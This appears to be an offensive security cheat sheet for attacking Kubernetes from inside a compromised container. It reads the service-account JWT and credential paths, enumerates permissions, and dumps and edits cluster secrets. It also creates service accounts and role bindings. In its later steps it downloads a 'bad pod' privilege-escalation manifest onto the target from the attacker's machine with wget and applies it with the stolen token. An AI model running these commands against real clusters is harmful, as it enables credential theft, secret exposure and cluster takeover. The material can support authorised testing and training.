A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.
Check if the Kubectl Command Available in Target Machine
# Get JWT
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/
# Sensitive information in the directory
ls -a /var/lib/k0s/containerd/
# Check your permission
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>
# All information
kubectl get all
# Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml
# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json
# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>
# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to the ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer
Investigation via Kubernetes API Server
If we get the JWT, we can fetch information by the following commans.
After downloading the yaml file, we need to replace the value of metadata.containers.image with the existing container image that we can find in the target container.
Then start web server to allow the target machine to get this bad pod.
python3 -m http.server 8000
2. Trasfer the Bad Pod to the Target Machine
On the target machine, download the bad pod from your local machine.
wget http://<your-local-ip>:8000/privesc.yaml
3. Create the Pod
# Create the pod
kubectl apply -f privesc.yaml --token=<JWT>
# List all pods
kubectl get pods --token=<JWT>